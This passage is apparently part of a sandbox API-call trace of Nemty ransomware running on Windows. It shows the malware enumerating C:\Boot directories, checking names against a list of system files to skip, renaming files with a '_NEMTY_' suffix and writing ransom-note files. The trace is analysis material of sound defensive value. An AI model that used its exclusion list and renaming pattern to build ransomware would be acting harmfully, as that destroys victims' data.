Flags=0x0, Size=0x40) returned 0x6345e38 [0044.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0044.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0044.198] MoveFileW (lpExistingFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), lpNewFileName="C:\\Boot\\en-US\\memtest.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\en-us\\memtest.exe.mui._nemty_kgobjgd_")) returned 0 [0044.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0044.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0044.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0044.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0044.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0044.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.199] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcddb88d0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcddb88d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcddb88d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0044.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0044.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0044.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0044.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0044.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0044.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0044.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0044.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0044.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0044.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0044.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0044.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0044.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0044.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0044.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0044.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0044.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0044.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0044.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0044.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0044.199] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0044.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0044.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0044.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0044.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0044.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9edd0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0044.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0044.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0044.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.200] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcddb88d0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcddb88d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcddb88d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0044.200] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0044.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0044.200] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0044.200] lstrcmpiW (lpString1="es-ES", lpString2=".") returned 1 [0044.200] lstrcmpiW (lpString1="es-ES", lpString2="..") returned 1 [0044.200] lstrcmpiW (lpString1="es-ES", lpString2="...") returned 1 [0044.200] lstrcmpiW (lpString1="es-ES", lpString2="windows") returned -1 [0044.200] lstrcmpiW (lpString1="es-ES", lpString2="$RECYCLE.BIN") returned 1 [0044.200] lstrcmpiW (lpString1="es-ES", lpString2="rsa") returned -1 [0044.201] lstrcmpiW (lpString1="es-ES", lpString2="NTDETECT.COM") returned -1 [0044.201] lstrcmpiW (lpString1="es-ES", lpString2="ntldr") returned -1 [0044.201] lstrcmpiW (lpString1="es-ES", lpString2="MSDOS.SYS") returned -1 [0044.201] lstrcmpiW (lpString1="es-ES", lpString2="IO.SYS") returned -1 [0044.201] lstrcmpiW (lpString1="es-ES", lpString2="boot.ini") returned 1 [0044.201] lstrcmpiW (lpString1="es-ES", lpString2="boot.ini") returned 1 [0044.201] lstrcmpiW (lpString1="es-ES", lpString2="AUTOEXEC.BAT") returned 1 [0044.201] lstrcmpiW (lpString1="es-ES", lpString2="ntuser.dat") returned -1 [0044.201] lstrcmpiW (lpString1="es-ES", lpString2="desktop.ini") returned 1 [0044.201] lstrcmpiW (lpString1="es-ES", lpString2="CONFIG.SYS") returned 1 [0044.201] lstrcmpiW (lpString1="es-ES", lpString2="RECYCLER") returned -1 [0044.201] lstrcmpiW (lpString1="es-ES", lpString2="BOOTSECT.BAK") returned 1 [0044.201] lstrcmpiW (lpString1="es-ES", lpString2="bootmgr") returned 1 [0044.201] lstrcmpiW (lpString1="es-ES", lpString2="programdata") returned -1 [0044.201] lstrcmpiW (lpString1="es-ES", lpString2="appdata") returned 1 [0044.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="es-ES", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0044.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="es-ES", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="es-ES", lpUsedDefaultChar=0x0) returned 5 [0044.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="es-ES", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0044.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="es-ES", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="es-ES", lpUsedDefaultChar=0x0) returned 5 [0044.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0044.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0044.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0044.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0044.201] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0044.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.201] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9eda8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0044.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0044.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0044.201] CreateFileW (lpFileName="C:\\Boot\\es-ES\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\es-es\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0044.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.205] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.205] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0044.206] CloseHandle (hObject=0x3c0) returned 1 [0044.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0044.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0044.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0044.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0044.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0044.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0044.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0044.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0044.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0044.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0044.207] CreateFileW (lpFileName="C:\\Boot\\es-ES\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\es-es\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0044.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.208] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.208] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0044.209] CloseHandle (hObject=0x3c0) returned 1 [0044.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0044.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0044.209] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xce0b2450, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce0b2450, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0044.209] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0044.209] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xce0b2450, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce0b2450, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.209] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0044.209] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0044.209] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.209] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0044.209] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0044.209] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="...") returned 1 [0044.209] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="windows") returned -1 [0044.209] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0044.209] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="rsa") returned -1 [0044.210] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="NTDETECT.COM") returned -1 [0044.210] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0044.210] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="MSDOS.SYS") returned -1 [0044.210] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="IO.SYS") returned -1 [0044.210] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0044.210] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0044.210] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0044.210] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0044.210] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0044.210] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="CONFIG.SYS") returned -1 [0044.210] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RECYCLER") returned -1 [0044.210] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="BOOTSECT.BAK") returned -1 [0044.210] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0044.210] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="programdata") returned -1 [0044.210] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="appdata") returned 1 [0044.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0044.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0044.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.211] Sleep 